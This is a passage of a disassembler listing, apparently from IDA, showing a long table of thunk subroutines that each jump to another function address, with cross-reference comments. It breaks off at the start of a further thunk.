Attributes: thunk sub_13AB51D proc near jmp sub_13C36D0 sub_13AB51D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB522 proc near ; CODE XREF: sub_13D9EC0+F7p jmp sub_13D98A0 sub_13AB522 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB527 proc near jmp sub_13D87F0 sub_13AB527 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB52C proc near jmp sub_13D3E50 sub_13AB52C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB531 proc near ; CODE XREF: .idata:013CE0B1p jmp sub_13CDB70 sub_13AB531 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB536 proc near jmp near ptr 13DC370h sub_13AB536 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB53B proc near ; CODE XREF: sub_13BF480+38p jmp sub_13BFDA0 sub_13AB53B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB540 proc near ; CODE XREF: sub_13C5D60+F7p ; sub_13C5D60+10Bp ... jmp sub_13B42A0 sub_13AB540 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB545 proc near ; CODE XREF: sub_13B3D10+Ap jmp sub_13B3E00 sub_13AB545 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB54A proc near ; CODE XREF: sub_13BD7E0+55p ; sub_13BD7E0+94p ... jmp sub_13BFB80 sub_13AB54A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB54F proc near ; CODE XREF: sub_13CF440+183p jmp sub_13CDA00 sub_13AB54F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB554 proc near ; CODE XREF: sub_13BEF00+CEp jmp sub_13BF930 sub_13AB554 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB559 proc near ; CODE XREF: sub_13D1A20+3p jmp sub_13D1A50 sub_13AB559 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB55E proc near jmp sub_13BBCF0 sub_13AB55E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB563 proc near ; CODE XREF: sub_13C01E0+11p ; sub_13C01E0+27p ... jmp sub_13C0A00 sub_13AB563 endp ; --------------------------------------------------------------------------- jmp sub_13C7B40 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB56D proc near ; CODE XREF: sub_13C2F20+23p ; sub_13C3190+11p jmp sub_13C3270 sub_13AB56D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB572 proc near ; CODE XREF: sub_13C2EA0+3p ; sub_13C32A0+54p ... jmp sub_13C30F0 sub_13AB572 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB577 proc near ; CODE XREF: sub_13B3A00+6Ap ; sub_13B3A00+103p jmp sub_13B3CA0 sub_13AB577 endp ; --------------------------------------------------------------------------- dd 316DFE9h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB581 proc near ; CODE XREF: sub_13BE170+1Dp jmp sub_13BDF80 sub_13AB581 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB586 proc near ; CODE XREF: sub_13C4590+64p jmp sub_13C53F0 sub_13AB586 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB58B proc near ; CODE XREF: sub_13BD7E0+88p ; sub_13BEBE0+BFp ... jmp sub_13BFD40 sub_13AB58B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB590 proc near ; CODE XREF: sub_13D98A0+7p ; sub_13D9910+19p ... jmp near ptr 13DDCD0h sub_13AB590 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB595 proc near ; CODE XREF: sub_13C28A0+119p jmp sub_13B7F20 sub_13AB595 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB59A proc near jmp sub_13DAE70 sub_13AB59A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB59F proc near ; CODE XREF: sub_13B15E0+11p ; sub_13B1770+1Fp jmp sub_13B1810 sub_13AB59F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB5A4 proc near ; CODE XREF: sub_13ADAD0+3B5p ; sub_13ADAD0+3C5p ... jmp sub_13AE200 sub_13AB5A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB5A9 proc near ; CODE XREF: sub_13CC020+3p jmp sub_13CC5A0 sub_13AB5A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB5AE proc near ; CODE XREF: sub_13B6650+Ap jmp sub_13B6710 sub_13AB5AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB5B3 proc near ; CODE XREF: sub_13ADAD0+1Dp ; sub_13B1430+1Fp ... jmp sub_13AE070 sub_13AB5B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB5B8 proc near ; CODE XREF: sub_13BD630+54p jmp sub_13BF7C0 sub_13AB5B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB5BD proc near ; CODE XREF: sub_13D5770+3p jmp sub_13D57A0 sub_13AB5BD endp ; --------------------------------------------------------------------------- jmp loc_13B5300 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB5C7 proc near ; CODE XREF: sub_13BEF00+DDp jmp sub_13BF080 sub_13AB5C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB5CC proc near ; CODE XREF: sub_13B1A10+7p ; sub_13B3E00+7p ... jmp sub_13B1A40 sub_13AB5CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB5D1 proc near ; CODE XREF: sub_13BD920+73p ; sub_13BEF00+7Dp ... jmp sub_13BFA10 sub_13AB5D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB5D6 proc near ; CODE XREF: sub_13C8A70+58p jmp sub_13CA940 sub_13AB5D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB5DB proc near ; CODE XREF: sub_13BE1B0+84p jmp sub_13BDBF0 sub_13AB5DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB5E0 proc near jmp sub_13DA190 sub_13AB5E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB5E5 proc near ; CODE XREF: sub_13B18C0+8p jmp sub_13B19A0 sub_13AB5E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB5EA proc near ; CODE XREF: sub_13AF070+9Fp ; sub_13AF070+230p ... jmp sub_13B4830 sub_13AB5EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB5EF proc near ; CODE XREF: sub_13B4B90+21p ; sub_13B4DF0+A5p jmp sub_13B4DD0 sub_13AB5EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB5F4 proc near jmp sub_13B5370 sub_13AB5F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB5F9 proc near ; CODE XREF: sub_13B4830+129p ; sub_13B4C10+4p ... jmp sub_13B4BE0 sub_13AB5F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB5FE proc near jmp sub_13D0A70 sub_13AB5FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB603 proc near jmp sub_13D9E90 sub_13AB603 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB608 proc near ; CODE XREF: sub_13B16F0+3p ; sub_13B1770+4Fp ... jmp sub_13B1880 sub_13AB608 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB60D proc near ; CODE XREF: sub_13C7C40+346p ; sub_13C7C40+410p ... jmp sub_13CBC80 sub_13AB60D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB612 proc near ; CODE XREF: sub_13CBEC0+11p ; sub_13CC3C0+1Fp jmp sub_13CC4F0 sub_13AB612 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB617 proc near ; CODE XREF: sub_13D5910+3p jmp sub_13D5940 sub_13AB617 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB61C proc near ; CODE XREF: sub_13C28A0+D4p jmp sub_13B1B90 sub_13AB61C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB621 proc near ; CODE XREF: sub_13B6520+5Fp jmp sub_13B66F0 sub_13AB621 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB626 proc near ; CODE XREF: sub_13AD8E0+F6p ; sub_13AD8E0+12Ep ... jmp sub_13B4030 sub_13AB626 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB62B proc near ; CODE XREF: sub_13C8A70+113p ; sub_13C8A70+124p jmp sub_13CBE40 sub_13AB62B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB630 proc near jmp sub_13C9C70 sub_13AB630 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB635 proc near ; CODE XREF: sub_13C0DA0+16Bp jmp sub_13C1AC0 sub_13AB635 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB63A proc near ; CODE XREF: sub_13B52C0+Fp jmp sub_13DA370 sub_13AB63A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB63F proc near ; CODE XREF: sub_13C2F20+32p jmp sub_13C3190 sub_13AB63F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB644 proc near jmp near ptr 13DD990h sub_13AB644 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB649 proc near ; CODE XREF: sub_13BF830+5p ; sub_13BFA30+6p ... jmp sub_13C0440 sub_13AB649 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB64E proc near ; CODE XREF: sub_13B60B0+29p ; sub_13B61D0+29p jmp sub_13B6360 sub_13AB64E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB653 proc near ; CODE XREF: sub_13C8A70+3E9p jmp sub_13CBF00 sub_13AB653 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB658 proc near ; CODE XREF: sub_13BE8E0+BFp jmp sub_13BF620 sub_13AB658 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB65D proc near ; CODE XREF: sub_13C08F0+Ap jmp sub_13C0C30 sub_13AB65D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB662 proc near ; CODE XREF: sub_13C0DA0+1D7p jmp sub_13C13C0 sub_13AB662 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB667 proc near ; CODE XREF: sub_13C28A0+291p jmp sub_13C2740 sub_13AB667 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB66C proc near jmp sub_13C1040 sub_13AB66C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB671 proc near ; CODE XREF: sub_13C1140+EFp jmp sub_13C23E0 sub_13AB671 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB676 proc near jmp sub_13BEAA0 sub_13AB676 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB67B proc near jmp sub_13D9450 sub_13AB67B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB680 proc near ; CODE XREF: sub_13BA370+387p ; sub_13C9340+21Dp ... jmp sub_13C5AF0 sub_13AB680 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB685 proc near ; CODE XREF: sub_13C1140+12Ap jmp sub_13C2590 sub_13AB685 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB68A proc near ; CODE XREF: sub_13B3890+8p jmp sub_13B38E0 sub_13AB68A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB68F proc near jmp sub_13D3E50 sub_13AB68F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB694 proc near ; CODE XREF: sub_13B3A00+A5p ; sub_13BCFD0+21p jmp sub_13B3C10 sub_13AB694 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB699 proc near ; CODE XREF: sub_13AF070+385p ; sub_13C7C40+5AAp jmp sub_13C6440 sub_13AB699 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB69E proc near ; CODE XREF: sub_13C1140+3Fp jmp sub_13ADAD0 sub_13AB69E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB6A3 proc near ; CODE XREF: sub_13C2FD0+23p ; sub_13C32A0+11p jmp sub_13C33F0 sub_13AB6A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB6A8 proc near ; CODE XREF: sub_13CEC60+Cp ; sub_13CEC60+3Ep ... jmp sub_13CE750 sub_13AB6A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB6AD proc near jmp sub_13D9A90 sub_13AB6AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB6B2 proc near ; CODE XREF: sub_13AE3C0+4C1p ; sub_13AF070+860p ... jmp sub_13B4690 sub_13AB6B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB6B7 proc near ; CODE XREF: sub_13D8F30+6p ; sub_13D8F80+6p ... jmp near ptr dword_13DB8B0 sub_13AB6B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB6BC proc near ; CODE XREF: sub_13C8A70+367p ; sub_13C8A70+3D4p ... jmp sub_13CC090 sub_13AB6BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB6C1 proc near jmp sub_13D1100 sub_13AB6C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB6C6 proc near ; CODE XREF: sub_13CEB40+18p ; sub_13CEB80+Ap ... jmp sub_13CEAF0 sub_13AB6C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB6CB proc near ; CODE XREF: sub_13C0530+9p ; sub_13C05D0+18p jmp sub_13C0BE0 sub_13AB6CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB6D0 proc near jmp near ptr dword_13DBDB0+0F0h sub_13AB6D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB6D5 proc near jmp sub_13D8F80 sub_13AB6D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB6DA proc near jmp sub_13C3FC0 sub_13AB6DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB6DF proc near ; CODE XREF: sub_13D3EC0+67p jmp sub_13CA300 sub_13AB6DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB6E4 proc near ; CODE XREF: sub_13D92D0+48p ; sub_13D94D0+2p ... jmp sub_13DA690 sub_13AB6E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB6E9 proc near ; CODE XREF: sub_13BDA80+3Fp ; sub_13BE8E0+40p ... jmp sub_13BF570 sub_13AB6E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB6EE proc near ; CODE XREF: sub_13AEA40+19Fp ; sub_13AEA40+212p ... jmp sub_13B42F0 sub_13AB6EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB6F3 proc near ; CODE XREF: sub_13CF2B0+B5p ; sub_13CF2B0+F1p jmp sub_13CF240 sub_13AB6F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB6F8 proc near ; CODE XREF: sub_13CF440+127p jmp sub_13CF2B0 sub_13AB6F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB6FD proc near ; CODE XREF: sub_13C1140+10Ap jmp sub_13C2490 sub_13AB6FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB702 proc near ; CODE XREF: sub_13C1140+DFp jmp sub_13C2320 sub_13AB702 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB707 proc near ; CODE XREF: sub_13DA7F0+1p jmp sub_13DA880 sub_13AB707 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB70C proc near ; CODE XREF: sub_13CFFF0+341p jmp sub_13D0870 sub_13AB70C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB711 proc near ; CODE XREF: sub_13C2740+71p ; sub_13C2740+BBp ... jmp sub_13C2E00 sub_13AB711 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB716 proc near ; CODE XREF: sub_13B44A0+7p jmp sub_13B44C0 sub_13AB716 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB71B proc near jmp near ptr dword_13DBCE0+40h sub_13AB71B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB720 proc near jmp near ptr dword_13DB8B8+28h sub_13AB720 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB725 proc near ; CODE XREF: sub_13CABF0+37Bp jmp sub_13CBFE0 sub_13AB725 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB72A proc near ; CODE XREF: sub_13BE770+5Bp jmp sub_13BF440 sub_13AB72A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB72F proc near ; CODE XREF: sub_13BF7C0+29p ; sub_13BF8E0+29p jmp sub_13C0340 sub_13AB72F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB734 proc near jmp near ptr 13E0220h sub_13AB734 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB739 proc near ; CODE XREF: sub_13BD7E0+5Fp ; sub_13BD7E0+9Ep ... jmp sub_13BFD70 sub_13AB739 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB73E proc near ; CODE XREF: sub_13B5920+62p ; sub_13B5CD0+118p ... jmp sub_13B6260 sub_13AB73E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB743 proc near jmp sub_13DA4E0 sub_13AB743 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB748 proc near jmp sub_13D9060 sub_13AB748 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB74D proc near jmp sub_13D57C0 sub_13AB74D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB752 proc near jmp sub_13D5700 sub_13AB752 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB757 proc near ; CODE XREF: sub_13C04A0+8p jmp sub_13C0AC0 sub_13AB757 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB75C proc near ; CODE XREF: sub_13BD7E0+71p ; sub_13BD7E0:loc_13BD8ACp ... jmp sub_13BFD20 sub_13AB75C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB761 proc near ; CODE XREF: sub_13C2740+AFp ; sub_13C33F0+3p jmp sub_13C2EC0 sub_13AB761 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB766 proc near jmp sub_13D0E80 sub_13AB766 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB76B proc near ; CODE XREF: sub_13B5920+39p ; sub_13B5920+78p ... jmp sub_13B6290 sub_13AB76B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB770 proc near ; CODE XREF: sub_13CFBC0+29p ; sub_13CFBC0+38p jmp sub_13CFAD0 sub_13AB770 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB775 proc near ; CODE XREF: sub_13C4910+1Cp jmp sub_13C4950 sub_13AB775 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB77A proc near jmp sub_13D4050 sub_13AB77A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB77F proc near ; CODE XREF: sub_13B1B90+144Fp ; sub_13BE810+81p jmp sub_13BE640 sub_13AB77F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB784 proc near ; CODE XREF: sub_13C28A0+72p jmp sub_13B1030 sub_13AB784 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB789 proc near ; CODE XREF: sub_13B4120+7p ; sub_13B4270+7p ... jmp sub_13B4B00 sub_13AB789 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB78E proc near jmp sub_13CCE50 sub_13AB78E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB793 proc near jmp sub_13BDEF0 sub_13AB793 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB798 proc near jmp sub_13D5770 sub_13AB798 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB79D proc near ; CODE XREF: sub_13C2D10+11p ; sub_13CC0C0+1Fp jmp sub_13C3060 sub_13AB79D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB7A2 proc near ; CODE XREF: sub_13D56F0+3j jmp sub_13D4C30 sub_13AB7A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB7A7 proc near jmp sub_13D5910 sub_13AB7A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB7AC proc near jmp sub_13D8FD0 sub_13AB7AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB7B1 proc near jmp sub_13BEE70 sub_13AB7B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB7B6 proc near ; CODE XREF: sub_13B1690+1Fp jmp sub_13B1770 sub_13AB7B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB7BB proc near jmp sub_13D8BD0 sub_13AB7BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB7C0 proc near ; CODE XREF: sub_13BA180+3p ; sub_13C0DA0+15Bp jmp sub_13BA1B0 sub_13AB7C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB7C5 proc near ; CODE XREF: sub_13CF690+Cp ; sub_13CF800+Ap ... jmp sub_13CF650 sub_13AB7C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB7CA proc near jmp sub_13B76F0 sub_13AB7CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB7CF proc near ; CODE XREF: sub_13B4CC0+20p jmp sub_13B4DF0 sub_13AB7CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB7D4 proc near ; CODE XREF: sub_13BA370+AFDp ; sub_13BA370+E71p ... jmp sub_13B52C0 sub_13AB7D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB7D9 proc near ; CODE XREF: sub_13AF070+8EFp ; sub_13AF070+8F8p ... jmp sub_13B4670 sub_13AB7D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB7DE proc near ; CODE XREF: sub_13CC3C0+5Ap jmp sub_13CC950 sub_13AB7DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB7E3 proc near ; CODE XREF: sub_13AEA40+87p ; sub_13BA370+9B0p ... jmp sub_13B4560 sub_13AB7E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB7E8 proc near ; CODE XREF: sub_13D0E80+12Ep jmp sub_13C4360 sub_13AB7E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB7ED proc near ; CODE XREF: sub_13C8A70+35Dp ; sub_13C8A70+3CAp ... jmp sub_13CBFB0 sub_13AB7ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB7F2 proc near ; CODE XREF: sub_13C30B0+7p jmp sub_13C33B0 sub_13AB7F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB7F7 proc near ; CODE XREF: sub_13C05D0+5Fp jmp sub_13C0BA0 sub_13AB7F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB7FC proc near jmp sub_13C57E0 sub_13AB7FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB801 proc near ; CODE XREF: sub_13BFAD0+29p ; sub_13BFBF0+29p jmp sub_13C0690 sub_13AB801 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB806 proc near ; CODE XREF: sub_13BE1B0+19Ap jmp sub_13BFBB0 sub_13AB806 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB80B proc near ; CODE XREF: sub_13D92D0+5Fp ; sub_13D92D0+88p jmp sub_13D94D0 sub_13AB80B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB810 proc near jmp sub_13D73E0 sub_13AB810 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB815 proc near ; CODE XREF: sub_13C1140+CFp jmp sub_13C2260 sub_13AB815 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB81A proc near ; CODE XREF: sub_13C5C30:loc_13C5C3Fp ; sub_13C5C30+1Fp jmp sub_13C5C10 sub_13AB81A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB81F proc near jmp sub_13B5390 sub_13AB81F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB824 proc near ; CODE XREF: sub_13AD8E0+61p ; sub_13AE090+1Dp ... jmp sub_13B3EE0 sub_13AB824 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB829 proc near jmp near ptr 13E0260h sub_13AB829 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB82E proc near ; CODE XREF: sub_13C2CA0+29p jmp sub_13C2F20 sub_13AB82E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB833 proc near jmp near ptr 13DD4A0h sub_13AB833 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB838 proc near jmp near ptr 13DCF40h sub_13AB838 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB83D proc near ; CODE XREF: sub_13B0FD0+3p ; sub_13C0DA0+1C8p jmp sub_13B1000 sub_13AB83D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB842 proc near ; CODE XREF: sub_13AEA40+370p ; sub_13AEA40:loc_13AEDE5p ... jmp sub_13AEFE0 sub_13AB842 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB847 proc near ; CODE XREF: sub_13AF070+26Bp ; sub_13B9550+136p ... jmp sub_13B8BB0 sub_13AB847 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB84C proc near ; CODE XREF: sub_13BFD70+5p jmp sub_13C0850 sub_13AB84C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB851 proc near ; CODE XREF: sub_13B5920+1Dp ; sub_13B5CD0+7Dp ... jmp sub_13B6120 sub_13AB851 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB856 proc near jmp sub_13B59F0 sub_13AB856 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB85B proc near ; CODE XREF: sub_13C8A70+349p ; sub_13CBF00+1Ap jmp sub_13CBF70 sub_13AB85B endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_5. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB865 proc near ; CODE XREF: sub_13BF500+29p jmp sub_13BFFF0 sub_13AB865 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB86A proc near ; CODE XREF: sub_13B1B90+12A3p ; sub_13B1B90+12CCp ... jmp sub_13B3850 sub_13AB86A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB86F proc near ; CODE XREF: sub_13AEA40+30p ; sub_13AEA40+14Bp ... jmp sub_13B4AC0 sub_13AB86F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB874 proc near ; CODE XREF: sub_13C36D0+1D8p ; sub_13C36D0+1EFp jmp sub_13C3BA0 sub_13AB874 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB879 proc near ; CODE XREF: sub_13BCAC0+F8p jmp sub_13C60A0 sub_13AB879 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB87E proc near ; CODE XREF: sub_13BDF80+E1p jmp sub_13BF5E0 sub_13AB87E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB883 proc near ; CODE XREF: sub_13CCE50+50p ; sub_13CCE50+21Bp ... jmp sub_13CFC90 sub_13AB883 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB888 proc near ; CODE XREF: sub_13C58C0+2Ap ; sub_13C58C0+5Ap jmp sub_13C49C0 sub_13AB888 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB88D proc near jmp near ptr dword_13DB520 sub_13AB88D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB892 proc near jmp sub_13D8D00 sub_13AB892 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB897 proc near 